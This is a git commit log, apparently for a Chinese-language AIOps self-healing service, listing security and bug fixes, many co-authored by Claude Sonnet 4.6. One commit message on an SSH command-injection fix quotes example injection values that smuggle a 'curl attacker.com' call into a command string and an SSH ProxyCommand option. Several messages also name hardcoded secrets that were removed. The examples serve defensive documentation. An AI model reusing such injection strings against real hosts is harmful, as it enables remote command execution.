OoO
4f62480bdb
串接 AutoHeal 共用 SSH helper
CD Pipeline / deploy (push) Successful in 56s
2026-05-12 23:53:32 +08:00
OoO
83e7e0cceb
移除誤入 UI commit 的非前端檔案
CD Pipeline / deploy (push) Has been cancelled
2026-05-12 23:52:25 +08:00
OoO
eb9cac0d19
改善活動看板手機導覽排版
CD Pipeline / deploy (push) Successful in 57s
2026-05-12 23:50:18 +08:00
OoO
caa6263872
同步 incidents 相容欄位寫入
CD Pipeline / deploy (push) Successful in 56s
2026-05-12 23:31:33 +08:00
OoO
e6a1c9d09f
補齊 AI 自動化可觀測性指標
CD Pipeline / deploy (push) Successful in 1m15s
2026-04-29 23:41:03 +08:00
OoO
d4865983d8
補強 ElephantAlpha 執行與通知閉環
CD Pipeline / deploy (push) Successful in 1m10s
2026-04-29 23:14:09 +08:00
OoO
0c2e9bbced
串接 AI 洞察向量化與漏通知入口
CD Pipeline / deploy (push) Successful in 1m13s
2026-04-29 23:05:46 +08:00
OoO
f0e044aa48
補齊自癒稽核與 OpenClaw 記憶閉環
CD Pipeline / deploy (push) Successful in 1m16s
2026-04-29 23:02:06 +08:00
OoO
0875dd8fda
補強 5.5 自癒安全回看
CD Pipeline / deploy (push) Successful in 1m11s
2026-04-29 22:48:24 +08:00
OoO
779b27f676
修復 P0 告警自癒鏈與測試收集
CD Pipeline / deploy (push) Successful in 9m39s
2026-04-29 22:37:20 +08:00
ogt
237d3af76f
fix: Phase 2 P0 全清零 — 14 項安全與功能修復完成
...
CD Pipeline / deploy (push) Failing after 2m59s
P0-06: google_drive_service.py — pickle.load() 改 JSON token(消除 RCE 風險)
P0-07: bot_api_routes.py:30 — BOT_API_TOKEN 移除硬編碼預設值 clawdbot_momo_2026
P0-08: auto_import_index.html — showAlert innerHTML 改 createTextNode(XSS 修復)
P0-09: abc_analysis_detail.html + dashboard.html + daily_sales.html — Jinja2 | e 轉義
P0-10: openclaw_bot_routes.py:2634 — vendor PPT 補 return ppt_path(廠商報告恢復)
P0-11: telegram_bot_service.py:177-214 — cmd_start/cmd_help 補 try/except
P0-12: app.py:689-712 — 10 個 Blueprint 補齊 register(消滅 404 路由)
P0-13: auto_heal_service.py — 實作 _write_heal_log(),AIOps 稽核閉環補完
P0-14: monitoring/prometheus.yml — 取消 alert_rules comment;新增 alert_rules.yml
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com >
2026-04-27 21:11:52 +08:00
ogt
0099543c05
fix(security): 全域健檢 — 40 項安全/Bug/品質修復
...
CD Pipeline / deploy (push) Failing after 5m18s
🔴 Critical
- auto_heal_service: 補 import re + sqlalchemy.text + 修正 orchestrator 變數名
+ autoheal_playbook→playbooks 表名 + _alert_and_store cooldown 修復
- aider_heal_executor: shell injection 改 shell=False + list 參數
- docker-compose: DISABLE_LOGIN 改 env var + 移除密碼 fallback + POSTGRES_HOST 修正
- app.py: /api/backup /api/run_task 等 6 個管理 API 加 @login_required
- config.py + pg_sync + e2e_test: 移除 wooo_pg_2026 hardcoded 密碼 fallback
- pg_backup.sh: 移除 TELEGRAM_TOKEN= 中間變數,直接用 $TELEGRAM_BOT_TOKEN
- migration 014: trigger_pattern→match_pattern + 補 error_type NOT NULL 欄位
🟡 High
- telegram_bot_service: str(e) 改通用訊息 + session try/finally + 移除 pa:/pr: 舊 callback
- run_scheduler: ElephantAlpha thread 死亡監控 + 自動重啟 + Telegram 告警
+ agent_context 03:30 TTL 定時清理任務
- openclaw_learning_service: build_rag_context 兩路徑加 .limit(200)
- hooks: commit-quality + momo-prod-guard 空 catch 改 stderr+exit(1)
- scripts/code_review: auto_yes 預設改 false
- db_backup_service: PGPASSWORD 透過 env dict 傳遞
📦 Migrations
- 013_autoheal: 修正建表順序 playbooks→incidents(外鍵前向引用)
- 018_add_missing_indexes: heal_logs/incidents 外鍵索引 + cleanup_expired_agent_context()
🟢 Infrastructure
- requirements.txt: 加版本下界 Flask>=2.3 SQLAlchemy>=1.4 等
- cd.yaml: 新增 run_scheduler.py + run_telegram_bot.py 監聽路徑
- .gitignore: insert_playbook_local.py 加入忽略
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com >
2026-04-22 01:12:23 +08:00
ogt
bf5f0d256a
fix(aiops): resolve ADR-014 logical bugs
...
- Fixed target_file context passing in auto_heal_service
- Fixed docker log scanning inside momo-scheduler using SSHJumpExecutor
- Fixed AiderHealExecutor SSH key path
2026-04-20 23:25:49 +08:00
ogt
3127466a85
feat(aiops): implement ADR-014 Autonomous Code Heal Pipeline
...
CD Pipeline / deploy (push) Successful in 1m14s
- Added AiderHealExecutor for SSH remote execution of aider-chat
- Added CODE_FIX action_type to AutoHealService
- Added code_exception trigger to Elephant Alpha engine (Traceback log scanning)
- Added 014 playbook migration script
2026-04-20 23:13:32 +08:00
ogt
b2803c90be
fix: DOCKER_RESTART 改走 SSH 跳板(110→188),修復 AIOps AutoHeal 閉環
...
CD Pipeline / deploy (push) Successful in 1m16s
根本原因:scheduler 容器內無 Docker socket,直接執行 docker restart 失敗。
修正:使用 SSHJumpExecutor(wooo@110 → ollama@188)透過跳板執行 docker restart。
SSH key:/app/config/autoheal_id_ed25519(rw mount 已存在)。
同步關閉 9 筆 2026-04-19 過期 DNS_FAIL incidents(根因已由網路修復解決)。
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com >
2026-04-20 20:19:46 +08:00
ogt
20e83306fe
security: fix SSH command injection in SSHJumpExecutor + implement AutoHealService
...
CD Pipeline / deploy (push) Successful in 1m19s
Issues fixed:
1. [HIGH] OS Command Injection in execute_command() (CWE-78)
command was accepted as a string and passed as the final SSH positional
arg. Remote SSH executes it via sh -c, so shell metacharacters in
command (semicolons, pipes, backticks) are interpreted.
e.g. command="id; curl attacker.com" → two commands execute on target.
Fix: command parameter changed to List[str]; TypeError raised if str
is passed; SSH cmd built with ['--, *command] so remote shell sees
argv, not a shell string. '--' stops SSH from interpreting options.
2. [HIGH] SSH Option Injection via host/user parameters (CWE-88)
jump_host, target_host, jump_user, target_user were unsanitized.
Attacker-controlled host like "-oProxyCommand=curl attacker.com #"
could inject SSH options.
Fix: _validate_host() / _validate_user() with strict regex on init
and in execute_command(); ValueError raised on invalid input.
3. [BUG] AutoHealService.handle_exception() did not exist
elephant_alpha_autonomous_engine.py imports and calls
AutoHealService().handle_exception() — this would raise AttributeError
at runtime. AutoHealService is now fully implemented:
- Playbook lookup from DB (autoheal_models.Playbook)
- ALLOWED_ACTION_TYPES allowlist (DOCKER_RESTART/WAIT_RETRY/ALERT_ONLY/SSH_CMD)
- DOCKER_RESTART: static ['docker','restart',<validated_container>]
- SSH_CMD: requires action_params.argv as list; host/user validated
4. [DESIGN] Duplicate SSHJumpExecutor across two files
auto_heal_service.py and openclaw_strategist_service.py were byte-for-
byte copies. Single source of truth now in auto_heal_service.py;
openclaw_strategist_service.py re-exports SSHJumpExecutor.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com >
2026-04-20 05:53:08 +08:00
ogt
551bab5fe6
fix(ai-ops): 移除 DOCKER_RESTART compose=True 重複呼叫 bug
...
CD Pipeline / deploy (push) Successful in 1m22s
原本邏輯:先呼叫 docker compose restart(白名單通過)
再馬上覆寫 ok/output 用 docker restart(多餘且不一致)。
compose 選項已無意義,統一用 docker restart(SSH 白名單允許)。
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com >
2026-04-19 16:32:08 +08:00
ogt
fb0dad2289
fix(ai-ops): AutoHeal 三項修正 + 通知格式重設計
...
CD Pipeline / deploy (push) Successful in 1m19s
1. SSH 金鑰:新增 _SSH_KEY_PATH(/app/config/autoheal_id_ed25519)
paramiko key_filename 參數,支援 config 目錄 rw mount 無需重建容器
2. _create_incident:加入 refresh+expunge
避免 session.close() 後 incident.severity 等屬性 DetachedInstanceError
3. _write_heal_log fallback:補 duration_ms=duration_ms
原本 fallback HealLog() 沒設 duration_ms → None:.0f 觸發 TypeError
4. _notify_telegram 格式重設計
- success/failed/skipped 三種 header 差異化
- failed 時顯示人工介入指令 + Incident ID
- 三段式分隔(標題 → PlayBook 動作 → 結論)
- 移除「已沉澱至 KM」在 failed 時的誤導訊息
SSH 驗證:2026-04-19 16:30 實測 result=success duration=3110ms
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com >
2026-04-19 16:30:45 +08:00
ogt
352a99db58
fix(ai-ops): HealLog DetachedInstanceError — refresh before expunge
...
CD Pipeline / deploy (push) Successful in 1m21s
SQLAlchemy expire_on_commit=True(預設) 會在 commit 後清空 ORM 屬性。
expunge 單獨使用仍會觸發 lazy-load → DetachedInstanceError。
修正:commit → refresh(重載屬性入記憶體)→ expunge(脫離 session)。
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com >
2026-04-19 16:14:00 +08:00
ogt
cb03f6b3e8
fix(ai-ops): HealLog DetachedInstanceError — expunge after commit
...
CD Pipeline / deploy (push) Successful in 1m22s
session.close() 後存取 heal_log.result 觸發 lazy reload 失敗。
在 close 前 expunge(hl) 讓物件帶著已載入屬性脫離 session。
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com >
2026-04-19 16:11:58 +08:00
ogt
77d3a1da48
feat(ai-ops): ADR-013 AIOps 自動修復閉環完整實作
...
CD Pipeline / deploy (push) Failing after 3m24s
架構(Exception → Incident → PlayBook → Heal → KM → Telegram):
新增元件:
- database/autoheal_models.py: Incident/Playbook/HealLog 三張表 + 7 條種子 PlayBook
- migrations/013_autoheal.sql: 建表 DDL + 種子資料(冪等 INSERT)
- services/auto_heal_service.py: 核心引擎 7 步閉環
- _classify_error: 8 類錯誤自動分類 (DNS_FAIL/DB_UNREACHABLE/OOM/...)
- _match_playbook: error_type + keyword + 冷卻 + max_retries 保護
- _execute_playbook: DOCKER_RESTART/SSH_CMD/ALERT_ONLY/WAIT_RETRY
- _sink_to_km: 修復知識寫入 ai_insights (auto_heal_playbook)
- SSH 白名單:僅允許 docker restart / compose restart / docker start
修改元件:
- database/manager.py: _init_autoheal_tables() 啟動時建表+種子 PlayBook
- scheduler.py: 3 個核心任務植入 handle_exception
(run_auto_import_task / run_icaim_analysis_task / run_weekly_strategy_task)
- requirements.txt: paramiko(SSH 跳板;不可用時降級 subprocess+CLI ssh)
安全設計: CMD 白名單 + cooldown + max_retries escalation + DB 冪等 migration
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com >
2026-04-19 16:03:49 +08:00